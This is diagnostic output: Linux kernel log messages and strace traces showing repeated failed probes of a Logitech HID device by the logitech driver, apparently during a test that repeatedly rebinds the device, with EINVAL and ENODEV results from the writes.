[ 75.003287][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.006062][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.009115][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.012101][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.014948][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.018172][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.021072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.023934][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.026761][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.029930][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.032836][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.035685][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.038917][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.041956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.044834][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.047686][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.050756][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.053640][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.056424][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.059693][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.062622][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.065456][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.068590][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.071458][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.074296][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.077153][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.080838][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.083773][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.086654][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.089835][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.092781][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.095615][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.098837][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.102593][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.105484][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.108605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.111542][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.114373][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.117219][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.120570][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.123457][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.126353][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.129705][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.132609][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.135480][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.138758][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.141676][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.144580][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.147460][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.150558][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.153464][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.156291][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.159610][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.162553][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.165387][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.168573][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.171540][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.174404][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.177258][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.180575][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.183462][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.186347][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.189842][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.192785][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.195576][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.198769][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.201740][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.204669][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.207537][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.211427][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.214374][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.217212][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.220507][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.223401][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.226286][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.229471][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.232441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.235288][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.238549][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.241441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.244289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.247095][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.250275][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.253159][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.255988][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.259178][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.262169][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.265042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.268170][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.271102][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.273956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.276771][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.280118][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.283072][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.285936][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.289143][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.292134][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.294969][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.298645][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.301533][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.304365][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.307162][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.310331][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.313289][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.316126][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.320191][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.323147][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.326000][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.329117][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.332039][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.334912][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.338260][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.341177][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.344042][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.346887][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.350031][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.352956][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.355787][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.358967][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.361970][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.364848][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.367890][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.370907][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.373807][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.376670][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.379962][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.382895][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 75.385723][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[+] Done
[ 76.490414][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.492981][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
Strace Output: [pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.037229][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.069664][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.081723][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.103963][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.126396][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.137700][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.150885][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.164328][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.186658][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.199188][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.210345][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.224867][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.239052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.250546][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.262013][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.275689][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.286590][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.309757][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.322252][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.366399][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.377450][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.400601][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.423627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.434456][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
